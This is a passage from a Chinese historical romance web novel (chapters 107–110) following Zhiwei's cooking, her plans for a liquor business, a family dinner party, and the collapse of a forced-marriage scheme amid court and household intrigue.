知微见红叶疲累,小心的扶着她的胳膊将人送回卧房,准备去厨房做个安神汤来给红叶喝。 红叶靠坐在床上点点头,揉了揉发紧的太阳穴,她是真累了。 知微进了厨房,准备做个安神猪心汤,从前若是爸爸失眠,奶奶或妈妈总会熬上那么一碗来给爸爸喝,很清甜的味道。 新鲜的猪心泡水后清理干净,是她亲自动手处理的,猪心内里的血块和筋膜都要清掉,不然会有腥味。 冷水下锅加葱姜料酒焯水后倒入砂锅,再放入姜片,清洗干净的莲子黄芪党参加入一砂锅的开水开始炖,她一瞬不瞬的盯着砂锅,渐渐也打起了哈欠。 看了眼时间还早,再做几个小菜,她虽然不知何事叫红叶姐操心成这样,但她想对于红叶姐这样的人来说,应是对她来说极为重要的人和事了。 厨娘一直在旁边跟着知微边打下手边学,待半个时辰后知微打开砂锅,将去了核的大枣放入砂锅的时候,厨娘一直在感叹,我做饭做了几十年了,都没有二姑娘这么细心。 知微笑着道,用心做的菜才会好吃的,不光是做菜,专注去做一件事,任何事都能好的,最忌讳的便是三心二意了。 门口盯着她了半晌的顾铭珏眼神闪了闪,是啊,任何事,都忌讳不专注。 他一脸的疲态,浓厚的黑眼圈,胡子拉碴的,一看便是几日都没休息了。 知微并未发现他,她在专注的煲汤。 待一刻钟之后她将猪心捞出切片,之后又倒入了锅里,加了盐滚了滚之后便关火了。 她吩咐厨娘可以上菜了,洗净手摘了围裙这才发现门口不知站了多长时间的顾铭珏。 知微看他这模样着实被他吓了一跳,她踌躇道,“你这是怎么了,怎的如此颓废,红叶姐也是大大的黑眼圈,你也是。” 见他没说话,只呆呆的看着她,眼睛里的不舍和爱意在疯狂纠缠着。 知微抿了抿唇角,赶忙将眼睛移向别处道:“正好我做了安神汤,你同红叶姐一起用一些,走吧。” 顾铭珏垂下眼睑,嗯了一声,跟在她身后,木然的往前走。 知微在前头轻轻的叹息一声,不叫自己去多想。 红叶果然也还未睡,或者说,她烦躁的睡不着。 那个作天作地的老太太,又开始发大招了。 她一连几夜都被梦魇住了,说梦里的顾老侯爷同几家已经仙逝的祖宗们来找她同她托梦,要求后人赶快完婚,尤其是顾铭珏,至今只一个庶子,她悲天跄地的哭诉自己对不起老侯爷对不起老祖宗,一连闹了几夜了,太医来也没有办法,喝了安眠汤药夜里也还是闹,她同顾铭珏一起,已经两夜没合眼了。 他们都知道老太太的意思,逼着珏哥儿娶亲呢。 眼看顾铭珏不松口,谢老太也不知是真病是假病,直接对着顾铭珏叫铭哥儿,有时又喊自己儿子的名字,有时候连自己丈夫的名讳也喊,总之,有时糊涂有时清醒的,清醒的时候便逼着顾铭珏成亲。 今日一早更是直接大叫着晕了过去,太医好不容易给安抚住了,叫尽量顺了老太太的心意,这有脑疾的老人,最忌讳生气,不然,只怕要准备后事了。 看着老太太睡着了,她便回来休息休息。 她也烦啊,老太太逼着珏哥儿娶的是崔家二房嫡女,她问为何知微不行,清醒时的老太太言辞犀利,像是疯魔了一般,说梦里老侯爷说了,知微属相同她相克,会克死她,还会对祖宗不利。 你听听这个借口,这个措辞到底有多拙劣,同她相克?知微不在这她不照样生病了?又何来的对祖宗不利呢。给红叶气的,要不是顾着养恩,她能亲手解决了老太太。 顾铭珏一路跟在知微身后,他盯着她背影,眼神十分的复杂,是爱而不得,是愧疚,是,遗憾…… 他多想轻轻抚上她的长发,将她拥在怀里,可是,他好像再也拥有不了她了,这么好的女孩,他不配。 祖母会赢的。 祖母就没有输过。 知微去内室一看,红叶姐果然醒着,她将人拉起来,说了声顾铭珏也来了,两个眼圈也黑乎乎的,姐姐快起来,你们一起用膳,再喝点安神汤好好睡一觉才好。 红叶听到珏哥来了,又叹了口气,二人有缘无分,算了吧算了吧。 一顿饭只有知微忙活的声音,她给二人一人盛了碗汤,小声叨叨一定要喝,看着不中用,但是确实能叫人睡个好觉的,她话还未说完,只见月痕急匆匆的在门外过来了。 知微问道出了何事,月痕忙道,“是大公子骑马摔到了。” 一听是大哥摔了,知微也不等月痕将话说完便跟二人说了声便急匆匆的走了。 半晌,红叶放下了筷子对顾铭珏正色道,“决定了?” 顾铭珏拿筷子的动作颤了颤,眼里的红血丝更多了些,他的眼中凝聚了一片水雾,他嗯了一身,没有抬头。 红叶也嗯了一声,拿起了手边的汤勺,小口小口的将汤水一口气全部喝掉了。 “那好,你回去趁祖母清醒便同她说你同意成亲了,后日的皇家狩猎,你必然是不能缺席的,狩猎过后,便去下定吧。” “知微那里,你……忘了她吧,多好的姑娘,别害了她。” 很久之后顾铭珏都没有回话,久到红叶抬眸定定的看着他,他才艰难道了声,“好……” 第108章 顾铭珏艰难的道了声好,只是话音刚落,初九便急匆匆进来了。 顾铭珏艰难的道了声好,只是话音刚落,初九便急匆匆进来了。 初九望着主君,有些迟迟不敢张口。 红叶拿帕子擦了擦嘴角,淡声道,“说吧,别吞吞吐吐的,总归最坏的消息也就是知微明日就嫁人了,新郎不是你们侯爷罢了。” 初九被郡主这话说的一噎,有些结结巴巴道:“那倒不是,就是,就是。” 见顾铭珏越来越黑的脸,初九眼睛一闭脱口而出道,“是那位崔四小姐,昨夜宿在外头,被咱们的人碰到了,黄成接着便去调查,说,说这位小姐早就同一个戏子有了首尾,已经有一段时间了,只是除了她的丫鬟,旁人一概不知。” 红叶听罢是替顾铭珏松了口气的,这么狗血,看好戏似的看了顾铭珏一眼,得了,崔家的女子是有这个传统吗,未出嫁时心里便有人,上一个也是,只是珏哥儿人没兴趣,那人的心上人死的也早,二人一直相敬如宾罢了,这个直接同男子有首尾了,忠勇侯府的家风可真是,也不知念秦受过气没。 她没忍住摇了摇头,问道,“崔家二房不知?小姐夜里不在,院里的下人能不知道?” 初九咳嗽两声,嘴角有些抽抽,“她院里有个狗洞……二房的院子通着外头,也有个狗洞,那个崔小姐有个丫鬟,身形跟她几乎一模一样,夜里便替她睡在床上,且这那她娘亲忙着斗小妾,夜里无暇顾及她,所以,所以至今无人发现,但是。” 初九紧张的看了看顾铭珏,看他没什么反应继续道:“但是目前来看这崔四姑娘同情郎也都急了,昨夜就是二人吵闹才被人发现的,二人正闹着要将此事摆出来,好,好拒了同侯爷的婚事呢。” 初九的头埋得低低的,顾严个狗东西!自己不来汇报叫她说!狗东西!出去打死他! 顾铭珏冷笑着,一张脸黑了又绿,十分之精彩。 红叶撇了他一眼,直接道,“去将此事告知安嬷嬷,她知道该怎么叫老祖宗知道。” 初九闻言愣了愣,有些不敢应,顾铭珏看了红叶一眼,懂她的意思,也点点头,“去吧。” “是。”初九有些摸不着头脑,但还是听话出去了。 红叶闭了闭眼,“祖母这病啊,真真假假的瞎折腾,沈知蕴已经帮着请了梅神医,不日便到京里了,希望祖母这事过后能消停消停,也好多活两年,你再多派两个人照顾着,顺便详细的检查一下,怎么好端端突然梦魇了呢,说老祖宗托梦我是不信的。” “要是老祖宗真能托梦,也是提前告知咱们灾难在何时,咱们好提前预备着。” “哎,老太太年轻时候多利索多周全一人啊,不过,你那个侯府啊,上次帮你看了那两月我就发现了,漏洞多的很,你也该好好整治,我终究是个外人,给你管不那么细致,说了你几次了,你就是不听!” 顾铭珏被训斥也不吭声,只是板着脸嗯了一声,他一向自大,自负,尤其知微出事走后他整治了一番后认为侯府被他掌控的很好,看来啊,老鼠多的很啊。 是他不够稳妥,关心则乱,敢拿祖母当筏子,且明里暗里拆散他和知微还叫他轻易不能察觉,还真是好手段,是他轻敌了! 于是,当天下午侯府就又叫了太医,老太太颇有些气急败坏,挣扎着就要起来同忠勇侯府理论,忠勇侯夫妇被安定侯府的人找上门来才知了前因后果,脸色大变,慌忙揪着二房夫妻上门致歉,忠勇侯府也因此事展开了一场分家大战。 至此,这一出逼婚闹剧以老太太被气瘫在床上告终。 她糊涂是真糊涂了,现在虽是清醒了许多,却折腾不动了,消停极了。本就生了病的身子,闹了这么一场更是元气大伤,只能好好将养着了。 在旁人看不见的角落,老祖宗院内厨房的烧火丫头,将一小截柴火扔进了土灶,她勾了勾唇角,若是此时将树枝给救出来,定是可以看出这截树枝同旁的柴火的不同的,灶下噼里啪啦的,飘出一股诡异的清香来,四下无人,即使有人也是不怕的,闻到香味,也只当是谁身上的脂粉香罢了。 查吧,谁来了也没用,人证物证都没有,怎么查?查到最后老祖宗也是梦魇,只能是梦魇。 想了想已经攒齐了的赎身钱,她马上就要同心上人团聚,心满意足的翘了翘嘴角。 红袖添香二人被老太太折磨的精神萎靡不振,虽是二人轮流服侍,还有小丫鬟帮衬着,但是老太太平日里被二人服侍惯了,只认她二人,幸好上月侯爷已经给她二人指了婚事了,虽然婚后也还是在府里服侍老太太,但总归是做了管事姑姑,不用这么累了。 红袖被指给了顾严,添香被指给了黄成,婚事都十分不错了。 她们也想不明白,怎么本只是风寒的老祖宗突然就梦魇了,还对叶姨娘突然那么大的敌意,非说人家会克她,最近府上也没人提过叶姨娘啊。 人家克她?这不闹吗? 人家叶姨娘,不是,人家沈二姑娘现在是尚书令府上的二小姐,同这侯府比也不差什么的! 她们可是听黄成几个说了,人家沈大人看不上侯爷,也就是老祖宗,真当个自己孙子是个宝了。 一开始众人也是怀疑老祖宗是不是被人下毒了,但是府医太医都检查过,说并没有中毒,应是生了脑疾,只怕是夜有所思所以才会梦魇,白里夜里的瞎折腾。 安嬷嬷一度想找大师过来,但都被侯爷给否了。 侯爷从不信那些东西,认为都是骗子,众人也没了办法,这一连几日,都被老祖宗折磨的不清。 不过,今日这闹了一场瞧着老太太虽气的不轻,但人也清醒许多了,只是一下也苍老了不少,精气神差的很了,也不再提叫孙子娶亲的事情了。 至于糊涂还是清醒的,总归是话少了,之后每日念叨着的也多是从前的事情,消停多了。 知微一回府便瞧见了胳膊绑了一层绷带的沈知晖,看着小妹着急的神色,沈知晖红润的脸色有些许的不自然,眼神有些闪躲,毕竟是被沈知蕴给拉过来装的受伤,他退后几步不叫小妹触碰,小声道自己只是被摔了一下,大夫说养些时日就能好。 知微皱着眉头并未怀疑,只以为是兄长怕疼才没叫她看,她嘱咐了几句便又进了厨房,吃哪补哪,她叫厨房准备了排骨和大猪蹄子,她要都炖起来,正好一家人也都补补,这都深秋了,合该贴秋膘不是。 山药炖了个排骨,猪蹄红烧。 都是很家常的做法,猪蹄买来后厨娘便先清理了一遍,知微亲自清理了一遍之后加葱姜蒜焯水,之后便起锅烧油,放大料葱姜香叶煸出香味后,再放些黄豆酱冰糖酱油,将这些充分炒匀,炒出香味之后放焯水之后的猪蹄翻炒。 每块猪蹄都均匀的沾上酱料之后便加开水开始炖,这里最好放一些高度的白酒来去腥增香,不是黄酒,高粱酒就可以,她闻了闻,怎么没那么重的酒香味啊,尝了一口,咦,她好像发现了什么了不得的商机了! 这酒酒精度数不高啊! 大脑飞速运转着,她嘿嘿的傻笑了几声,引的花影和月痕看着小姐有些摸不着头脑,知微朝她二人神秘一笑,锅盖一盖,开始炖。 她炖的多,便没用砂锅,地锅小火慢炖,炖起来更香。 一个时辰后用筷子尝试着可以扎透猪蹄时,便可以大火收汁了,那边的砂锅山药排骨汤也炖好了。 做完这一切她便低声吩咐花影叫人去帮她买酒,京城所有的酒坊,尽可能都全买一遍。 花影惊讶的张大了嘴巴,知微想了想觉得自己是有些着急了,便叫先去找两家酒坊,多买几种酒送来。 晚膳时众人对这道家常红烧猪蹄赞不绝口,尤其是知微说这道菜可以美容养颜的时候,高氏的筷子也多伸了两次,心想她这么大年纪了,不知道吃这东西还有没有用了。 知微看穿了高氏的心思,笑着道娘亲多吃些,以后女儿一定常常做不同味道的猪蹄给您吃,过些日子您再瞧瞧,皮肤肯定饱满很多。 沈鸿吃的差不多了,看女儿今日的心情不错试探道,“爹给同僚说我女儿的厨艺好他们竟然不信,乖女儿你看,爹可不可以。” 未等沈父说完知微便点头,笑道:“可以啊,怎么不可以,爹您是想请人来府上用膳,还是我多做些饭菜给您送到衙门里去,您不是总说衙门里头的饭食不好吃吗。” 沈父笑的一脸褶子,他早就想跟那几个老东西显摆了!叫他们看看他沈鸿的闺女,个顶个的厉害! “爹最近时常在宫中办公,不若明日爹将同僚请到家中,乖宝置办一桌,也好叫他们瞧瞧我女儿的本事。” 高氏白了丈夫一眼,还真当她不知道丈夫的心理呢,臭显摆,也不怕累着闺女。 知微笑着称好,“爹您问清几位叔伯的喜好,差人告知女儿,女儿明日一早亲自去市场买菜去,定给爹爹长脸。” 沈鸿一连几个好字,几个小的也是高兴的很,那姐姐做了大餐肯定少不了他们的份,这阵子姐姐心情不好,可给他们都憋屈坏了,连用膳都没那么香了。 晚膳沐浴过后的知微在房间看着摆满桌子的酒水,眯了眯眼睛,舔了舔唇角,想要倒一杯来喝,可是却听厢房的门吱呀一声,是沈知蕴来了。 沈府上下,丢了根针最先知道的都是她沈知蕴,别说知微这一下叫人买了这么多酒回来,爹娘知道了也会只当闺女是要泡什么酒来日后喝,她可是要过来看看这丫头搞什么鬼的。 总不能是受了情伤吧。 知微一见姐姐来了,尴尬的放下了杯子,看着沈知蕴讨好道:“大半夜的,姐姐怎么来了,我就是想尝尝这几种酒水,往常都是喝的果酒花酒,今日想尝尝粮食酒的滋味,姐姐,我就只喝一点点,真的,保证不喝醉。” 沈知蕴看着小妹的模样也没训她,只是自顾自的坐下来端详了她半晌,心说这丫头应不是馋酒,看表情也不像是受了情伤,她迟疑道:“你是想做酒的生意?” 知微睁大了眼睛看着姐姐,不由的朝沈知蕴竖起了大拇指,“姐姐,你怎么知道?” 沈知微笑着白了她一眼,自顾自的也倒了杯酒道:“你这半晌看酒如同看了钱一样闪闪发光的眼神,我想猜不出都难。” 知微嘿嘿笑了两声,“这么明显吗,我也没那么贪财的。” 沈知蕴举起杯子闻了两下,望着她抿嘴笑道:“翠儿说你们从侯府出来的时候只带了银钱首饰,归家后虽然爹娘给了你不少的银钱,可你不是还开食肆去了,一门心思的赚钱,家里人哪能不知道你这个财迷的性子。” 说完她先尝了一口,连眉头都没皱,可见这酒并不辣口。 知微摸了摸鼻子有些不好意思,她也尝了一口,点点头,确实跟水似的。 姐俩就着花生小菜聊着天,将所有的酒水都尝试了一遍,最后知微得出了一个结论,这古代的酒,酒精度数真的不高,她感觉自己又要发财了! 叫她想想叫她想想,这个生意跟谁一起做! 她又要发财了! 第109章 二人还是喝醉了。尤其知微一张脸红的不像话,比上次同红叶 二人还是喝醉了。 尤其知微一张脸红的不像话,比上次同红叶和念秦一起喝的还多。 沈知蕴看着还好,知微抱着姐姐的腰,嘴里嘟嘟囔囔着,姐姐,我又要发财了嘿嘿。 沈知蕴无奈哄了几句便将人扶上了床。 小醉鬼打着酒嗝钻进锦被里,将头都埋了进去,沈知蕴看着好笑,将被子往下拉了拉,露出了知微那张通红的小脸来,终于叹了口气。 她又做梦了。 红叶口中那句玩笑的预知梦,在她这里却是真实发生了。 她梦见小妹同顾铭珏成了亲,一日同侯府老祖宗发生了冲突,竟意外失了孩子,致使多年不孕,知微受了天大的委屈,顾铭珏夹在中间两头受气,知微闹着和离。 最后是在几年后老祖宗身去了之后二人的关系才有所缓和。但因为孩子的原因,小妹往后的日子都不是那么快乐。 她同父亲说了此事,父亲同她的意思一样,还是觉得宋言澈更为可靠一些。 只是,叫她纳闷的是,小妹一向是不同意和顾铭珏在一起的,梦里又是怎么会同意嫁了呢。 是陛下赐婚?还是什么? 她一路皱着眉头的回了院子,却在抬眸看到空中的圆月的时候,又出了神。 因为喝了酒,她是有些烦躁的。 看着空中的月亮,竟突然想到了姜恒。 不知远方的他,是不是也会看着天上的月亮想家,也,想她呢。 她好长时间都没有想起姜恒了,从自己要同安若瑾成亲开始,她便将从前抛开了,她势必是要成为皇后的。 安若瑾待她确实不错,要星星不给月亮的。 且,她发现安若瑾同算是一样的人。 一样的心狠手辣。 面热心冷。 安若瑾太沉的住气了,沈知蕴甚至觉得,只要他想,明日他都是可以登基的。 但是他现在却要光明正大的,堂堂正正的登上那个位置。 谁能想到呢,传说中的草包三皇子竟是个杀人不眨眼的,比他那个疯子四弟可要疯批多了。 不光如此,他的能力和手段比她想到的要厉害的多。 她甚至怀疑从前的预知梦的真实性,这种人,最后怎么可能不当皇帝呢。 除非他自己不想。 否则,那个皇位必是他囊中之物。 她深吸口气,垂下了眉眼继续往院里走。 他们计划已经到了最后收网阶段,一切终将尘埃落定。 高处不胜寒。 没关系,只有高处才能护的住家人,她也才不会再做那些乱七八糟的梦。 其实,她对安若瑾的感情真的算是奇怪,她不爱他,却十分的信任他。 或许,他们会能成为很好的伙伴,互相取暖度过漫长岁月,应该也算不错的事情。 知微喝的醉醺醺的,她有些热,里衣半敞着,雪白修长的大腿露在外面,嘴唇微微张开,应是做了极好的梦,脸上带着恬淡的笑容。 不知何时又闪身进来的顾铭珏站在知微床前,他们隔了层床幔,床上知微的身姿若隐若现,他按耐住心底的悸动,终是没有拉开床幔。 他已然明白了从前随意闯进她闺房有多么失礼,可是他真的忍不住,他多想靠近她,将她拥在怀里,倾听她的心事,和她相拥而眠…… 他伸了伸手,终是缓缓的放下了,在听到屋外的虫鸣声之后,皱了皱眉,转瞬消失在屋内。 前几日祖母不适,抓着他又哭又闹逼着他成亲的模样叫他不知所措,他像是陷入了深渊,差点没爬出来。 今日这场闹剧叫他突然清醒了,啪啪打醒了他,叫他豁然开朗。 祖母不都是对的,他不应该事事都顺着祖母。 他爱知微,本就没有错。 他一直被祖母支配着,娶了一任又一任的妻子,守着侯府,放弃了从军的梦想,成了陛下的一颗棋子,庶子庶女他也生了,够了,已经够了。 他都忘了,顾氏一门从来都是在守卫着疆土保家卫国,满门忠烈,顾家人,怎岂会是如今他这种缩头乌龟的模样呢。 他是时候做他自己了。 隔着床幔,他静静的看着知微的睡颜,心中不断翻涌的情绪奇异的平和了下来。 树杈上的暗夜那叫一个愁啊,这如今沈府的护卫比侯府更甚,尤其是二姑娘的院子附近,他们侯爷今日又来了兴致,怎的又来爬人家姑娘的窗子,可真是,咦。 今日是何日子,翻墙的还不止咱们侯爷一个呢,眼看那边闹出了动静,暗夜一声虫鸣,顾铭珏很快出来,二人短暂的手势交流以后迅速消失在夜幕里。 另一边声东击西差点被发现了的安若瑾终于进了沈知蕴房间,沈知蕴尚未休息,听见动静顺势摸出了软剑差点抹了安若瑾的脖子。 安若瑾小声尖叫,知蕴是我啊是我。 沈知蕴眯着眼睛冷冷的看着他,最后还是听这人说是因正事而来,这才收回了手中的长剑。 安若瑾顿时松了口气,内心感叹的却是,啊媳妇儿好帅!他好喜欢! 真是好闷骚一男的。 沈知蕴转身去披了件披风,看安若瑾贱兮兮的模样,叹了口气,叫他正经一点,安若瑾马上正襟危坐,二人这才谈起了正事。 知微说到做到,翌日一早便跟着厨房管事一起出门采买去了。 头还有些发晕,大早晨花影从小厨房做了醒酒汤过来,知微喝了醒了醒酒便出发了。 庄子上一早送来只羊和时蔬,大厨房先收拾着,她同负责采买的管事一起出了门。 早晨的果子和蔬菜自是十分新鲜,都是农人凌晨便起来摘的,菜叶上还带着露珠,折射出点点晨光,水灵灵的好看。 知微一眼便瞧中了许多,管事便跟着各种都买了一些,府上人多,总不会浪费的。 猪肉猪排大骨头都买了些,鸡鸭鱼通通安排,她今日一身粗布长裙,脸上戴着面纱,头发用块帕子半抱着,乍一看还真像是乡下的农女进城了,只是要是仔细瞧,细看之下却是不像的。 她手心虽有茧,但是手指修长白皙,虽戴着面纱,但露出的一双眼睛却比刚才她买下的秋菠还要水灵,声音更是婉转动听。 一声大娘,您的菜怎么卖,大姐,您的萝卜瞧着真好,大爷,您年级有六十了吧,身体真硬朗。 这走一路说一路的,直叫大伙儿听的开怀舒畅。 采买后知微并未回府,而是直接这样一身装扮去了点心铺子。 点心铺子还在装修,已经快完工了,不日便要开业,帮工的一应事宜他都交给了孟秀才,府里她调教出来的婆子丫鬟过来教人做点心,都是签了死契的,不怕泄露什么的。 隔壁刚好是个酒坊,知微看完铺子的装修进度,便去了隔壁的酒坊,一众护卫在外头候着,知微只带了花影二人一起进入。 酒坊刚开门,老板是一位丰满俏丽的娘子。她背后是一五大三粗的男子在搬酒坛,应是一位习武之人,大早晨的也只是穿了一身短打,搬上搬下的干着体力活。 知微打量了酒坊两眼,便同女子道,“麻烦老板娘将店里所有的酒都来上一坛。” 知微想了想道,“小坛便可,先买些家去尝尝。” 老板娘一听这算是大客户了,她家里可几种酒呢,她笑的开心道,“好来,妾这便给贵人取,”女子便拿便道,“哎吆,大早晨便开门红,今日的生意一定好。” “来,给您,一共六坛,全是自家酿的,您喝好了再来啊,让我算算,嗯……一共八百文一十文,承蒙惠顾,给您算个八百文,酒价都在墙上挂着呢,您可以核对核对。” 知微点点头,道了声不用了,自是相信掌柜。 花影付了银子,外头的护卫过来抱上了马车,二人便出去了。 女掌柜对着知微的背影夸赞了两声,“不知道面纱下是怎样一张倾国倾城的脸呢,可真好看。” 后头的男人出来了,擦了擦身上的汗道,“大早晨发意症,这世间还有女子比我媳妇儿好看,我可不信。” 女子嗔了男人一眼,脸上的笑意更甚,“油嘴滑舌,赶紧去换衣裳去,今日不得去上值?” 男子嘿嘿笑了两声,点点头道,“嗯,明日狩猎我们须得跟着,你且在家等我回来,有活都留着,我回来再做。” 女子只幸福的点头,道了声相公真好,男子看四下无人,将媳妇搂在怀里亲了两下,这才去了后头换衣裳去了。 女子却不知道,男子这一去,差点就没回来,也不知道,刚才被她惊艳的女子,就这么巧的救了自家男人一把。 人与人之间的缘分,真的是件很奇妙的事情。 知微今日买了更多的酒,本想带去别苑的,却被告知红叶进宫陪太后去了,她便全都带回了府。 翠儿和高家姐妹被她震惊住了,这,好家伙,知微竟然整整拉了一车酒回来。 眼看高氏就又要揪她耳朵,她赶忙解释自己是为了酿酒,只是想挨个尝尝味道,不是真的想喝。 高氏狐疑的看着她,她一脸的认真,就差对天发誓了,真的,娘,我今日一早还买了着山葡萄呢,好大一筐我直接给人包了圆,还叫他们明日摘了也送来,打算酿些葡萄酒来给您喝,这东西可是美容养颜的圣品呢,真的,女儿什么时候骗过您。 于是,高氏被知微成功策了反,完完全全站了知微这一头,对她买来的酒水完全不在意了。 高氏心里也是美,女儿专门为她酿酒,能美容养颜呢,她的乖女儿哦,实在懂她,贴心,太贴心了,于是,不一会丁嬷嬷又亲自给知微送来了不少银票,直夸知微懂事。 知微自然照单全收,笑的开心,真好,每天都有钱捡,这日子可太舒服了。 简单的用过午膳后知微便开始准备晚膳的饭食了。 沈爹的小厮也送回了口信,几位大人并无忌口的东西,但都点名了那个叫辣椒的东西,都想尝尝。 知微了然,他爹又吹嘘来着。 罢了,她怎么着也得大展身手。 便做个微辣的水煮鱼来吃吃吧,但为了表示对这次宴请的重视,她还准备做一个松鼠桂鱼,毕竟酸甜口的食物应该没有人能不爱吃的。 用土豆泥包着大虾做了个简易版的凤尾虾,狮子头和鲍鱼红烧肉自是必须要有的,她又在院子支了个架子,烤起了全羊来。 鸡鸭鱼肉那必是都得全了,做了个老鸭汤,粉丝也泡上了,准备用鸭汤煮来吃。 鸡嘛,必须地锅炖了,原汁原味的,再贴几个饼子,那泡了汤汁的饼子来上一口不香掉舌头喽。 青菜那是必不能少了,白灼菜心,油泼菠菜,风味茄子也是必不能少的。 这是大人那一桌。 咱们小孩那一桌嘛,两个小的点的锅包肉,鱼香肉丝,翠儿点的炸肉,高雅晴说她都想吃,高雅若捏了捏小妹日渐圆润的脸,说吃完这顿必须得给你控制控制了。 高雅晴却是不依的,非说自己还长个子呢,明年再减。 加上厨房管事也做了两道拿手菜,待菜上桌的时候,那是十几道菜摆了满满一桌,沈父介绍小女简单做了一桌,诸位简单吃两口*,简单吃两口。 那一张脸上是掩饰不住的得意。 知微是大厨,自是要出来见客的。 叫知微讶异的是,今日顾铭珏竟然也来了。 昨日还一脸的疲态,黑眼圈好重,今日气色竟然就好了起来。 有些大人一身官袍都还来不及换也匆忙来了,一看便是同父亲交情甚笃,没那么多讲究。 宋言澈倒是也来了,只是沉默的跟在众人身后,见到她看过来,才朝她展了笑颜。 知微只点了点头便别过了眼去,乖巧的同诸位大人见礼,她来不及沐浴,只简单换了身衣裙,鹅黄色的长裙穿在身上,娇娇软软的,一句一个伯伯叔叔,几位大人直感叹沈大人命好,一个女儿温婉高雅,一个女儿貌美可人,真是好福气。 但是几位同沈鸿也交好了不少年了,自是知道知微的来历,又见顾铭珏这个正主也在,都不知这个老沈搞的什么鬼,这人也给请来了。 都是人精,今日便也都没有多说什么。 顾铭珏今日在一众大佬面前算是一直恭敬有礼的,不枉他借着公事同沈大人软磨硬泡了一下午,才得了进沈府用膳的机会,他自是表现良好。 高氏亲热的同他说了几句,还问他怎么看着清瘦了些,又道:“今日你可多吃些,都是知微的手艺,味道好着呢,我记得你是喜欢吃小菜的,知微前几日腌了一些,走时我叫下人给你带些,再忙也得好好吃饭。” 顾铭珏忙躬身感谢,他比高氏也就小了十多岁,却从高氏身上感受到了久违的母亲般的温暖。 知微刚好要喊母亲一同回后院用膳,这边也马上要开席了,便看到顾铭珏一脸感动的模样,她叹了口气是,这人确实又瘦了不少,家里有个尽折腾人的老太太,估计是没好好的用饭的。 她转头便吩咐月痕给顾侯的马车上多装一些腌菜,她亲手做的,下饭的很。 见知微过来,高氏自然的握住女儿的手对顾铭珏道:“那你便入席吧,我带知微也回去用膳了。” 知微朝他随意的点点头便同娘亲走了,二人虽有段过往,也真的熟悉,此时更像个老友,也没有了从前剑拔弩张的模样,此时在自家府上见了,竟也没觉得尴尬。 顾铭珏是有些庆幸的,庆幸,他醒悟了,庆幸,他们还没有真的结束。 若是他再娶了亲,那他们便真的结束了,再无可能。 看着知微离去的背影,他转身入席,他转身的时候,自是也看到了不远处看着他们的宋言澈,他眯了眯眼,小宋大人还真是好手段,连他也差点被骗了过去,从他祖母身上下手,他还真是,胆大包天! 不仅如此,他掀遍了整个侯府,竟然也没找到他谋害祖母的证据,可见手段了得! 他眼神危险,宋言澈却是不惧的。 宋言澈朝顾铭珏挑了挑眉,发现了又怎样,他本就没打算搞死那个老太太,只是叫顾铭珏吃些苦头罢了,他能再娶更好,皆大欢喜,不能再娶,哼,谁是最后的赢家,还真不一定呢。 那咱们就拭目以待吧! 第110章 知微一点儿也不知道,两个男人因为她剑拔弩张,就差没打起来了。 知微一点儿也不知道,两个男人因为她剑拔弩张,快要打起来了。 她倒是好奇今日他爹怎么会邀请顾铭珏的,按照她爹从前的脾性,是不会叫人进门的。 其实并不是。 沈父自前几日知晓大女儿这次做的预知梦是关于小女儿的婚姻大事之后,心里也是十分奇怪小女儿在梦里为何会嫁给顾铭珏。 因着奇怪,所以这几日打量顾铭珏,便有些看便宜女婿的态度了。 顾铭珏一早便知晓沈大人宴请的消息,自顾自的凑了上来,当然了,道了几句之后便借口谈公事,一直便谈到了下值的时辰。 沈鸿自是看出了这人的小九九,便顺水推舟的邀请了顾铭珏,顾铭珏自是乐意之至,屁颠屁颠的,连衣裳也没来得及换便跟着来了。 沈鸿从前跟顾侯的接触不多,顾侯行的又是暗差,上朝的时候也是不多的,从青州水灾一事之后,他们才开始有了接触。 沈大人也发现这人为官的品行确实是没有问题的,对陛下更是说一不二的衷心,整体还算尚可,可以结交。 只是关于他女儿,他思趁之下,还是觉得宋言澈更好一些,至少在长辈一事上不会委屈到自己女儿。 大女儿的预知梦里,知微跟顾铭珏成亲后还失了孩子,那是得受了多大的委屈啊,不行,这人还是不行,还是小宋好一些的。 顾铭珏也不气馁,只要知微一日不成婚,他便还有机会,反正他已三十而立,再等几年他也是等得起的。 宋言澈那边就简单多了,发现了能怎么样,人证有吗?人已经死了,且死是因为情杀。 物证有吗?能找着吗? 人证物证都没有,这事儿可跟他扯不上关系,他跟顾侯,顶多算是情敌。 不过就那个老太太,他本就没打算叫她死了,有她在,知微才会离顾铭珏远远的,才不会沾染分毫,免得晦气。 宴席散的挺早,众人吃饱喝足,在上自家马车时,管家依次送上了知微一早准备好的伴手礼,一些点心,并介绍小姐的点心铺子快要开业了,多做了些叫亲朋好友都尝尝,到时候开业了,再请诸位去尝尝。 众位大人自是感受到了沈府的妥帖,甚为满意。 顾铭珏得到的东西比旁人多,多了两坛腌菜,那嘴角咧的,都快到后脑勺了。 他还叫暗夜专门看了,宋言澈可没有! 哼,他就知道知微心里是有他的! 夜里,顾铭珏捏着知微亲手做的点心,小口小口的吃着。 他今晚用的很饱,知微的手艺又精进了些,但他还是没忍住,捏了块点心小口小口的品尝着。 听着顺耳的汇报,顾铭珏的眸色沉到发寒,他手里的点心被捏的粉碎,身上的杀意瞬时四散开来。 半晌,顾铭珏却笑了出来,道,“此事不可泄露出去,先按兵不动,听我吩咐。” 顾铭珏重新捏了块糕点,嘴角又重新扬起,置之死地而后生,万一呢对不对。 又是起了个大早的一天,今日便是皇家狩猎的日子。 知微昨日忙了一日,在沈知蕴的强烈制止之下夜里并未饮酒,但早晨起的太早,她尚未清醒便进上了马车,一上去便抱着姐姐的胳膊靠在她的肩头,就那么沉沉的睡了过去。 沈知蕴昨日嘱咐了半晌在狩猎场不要乱跑,也不知她有没有听进去。 因为青州大水的关系,国库吃紧,今年的狩猎并不是文武百官都随行的,只三品以上官员携家眷前往,另外的便是皇帝钦点的,像宋言澈这种被皇帝看中的了。 这样也不少人了,还有些带品级的皇亲国戚呢。 沈知晖并未过来,做戏做全套,他现在可还是个伤患。 安乐倒是在,狩猎这两日,沈知蕴已经将知微托付给安乐了,她今日有事情要做。 有安乐的娘亲广明郡主在,同她一处,知微出不了什么事情。 虽然广明郡主对知微淡淡的,但架不住女儿与之交好,加之沈知蕴的面子,广明郡主便也接受了知微,且是越看越顺眼。 红叶倒是没来,今日一早下人便传来了口信,国安郡主不参加此次狩猎。 知微也没多担心,前日见红叶姐和顾铭珏的模样,只能是他们家老祖宗给折腾的了,旁人没那个本事。 但是昨晚上看顾铭珏的状态,老太太应是无事了,她对老太太死不死病不病的可不关心,倒是觉得死了更好。 